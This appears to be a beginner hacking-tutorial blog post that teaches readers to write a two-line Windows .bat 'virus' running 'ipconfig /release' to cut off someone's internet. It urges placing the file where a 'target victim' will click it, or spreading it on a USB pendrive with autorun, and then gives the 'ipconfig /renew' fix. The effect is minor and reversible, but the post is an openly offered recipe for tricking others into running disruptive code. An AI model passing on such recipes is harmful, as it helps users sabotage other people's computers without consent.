If your are in begging of Hacking then use this simple .bat programming and I hope you will enjoy a lot.
I'm going to teach you to create a simple Virus that can stop Someone internet just in a click.

Let's Start:
Step 1: Open notepad and type below line-

@Echo off
Ipconfig /release

and save as anyname.bat , must choose save as All Files* as screen shot.

Step 2: Put this .bat file in any place where you want to target victim you can also copy this file in Pendrive and use auto run file which I teach you already (Click Here to read again)

Reason Behind This Trick ?
I know in your mind this line strike continuously, how can a small .bat file stop internet.
So dear don't worry I'm just telling actual reason and performance of this .bat file.
When victim click on above .bat file IP address of system is auto remove and victim can't able to fix this problem if he don't know much about IP configuration.

How Can Fix This Problem ?
It's very important to know how resolve the Internet Connectivity Missing problem which raised by using above technique.
Click on start menu and open CMD as administrator.
Then paste following line and hit enter.

IPconfig /renew

or create .bat file as above method.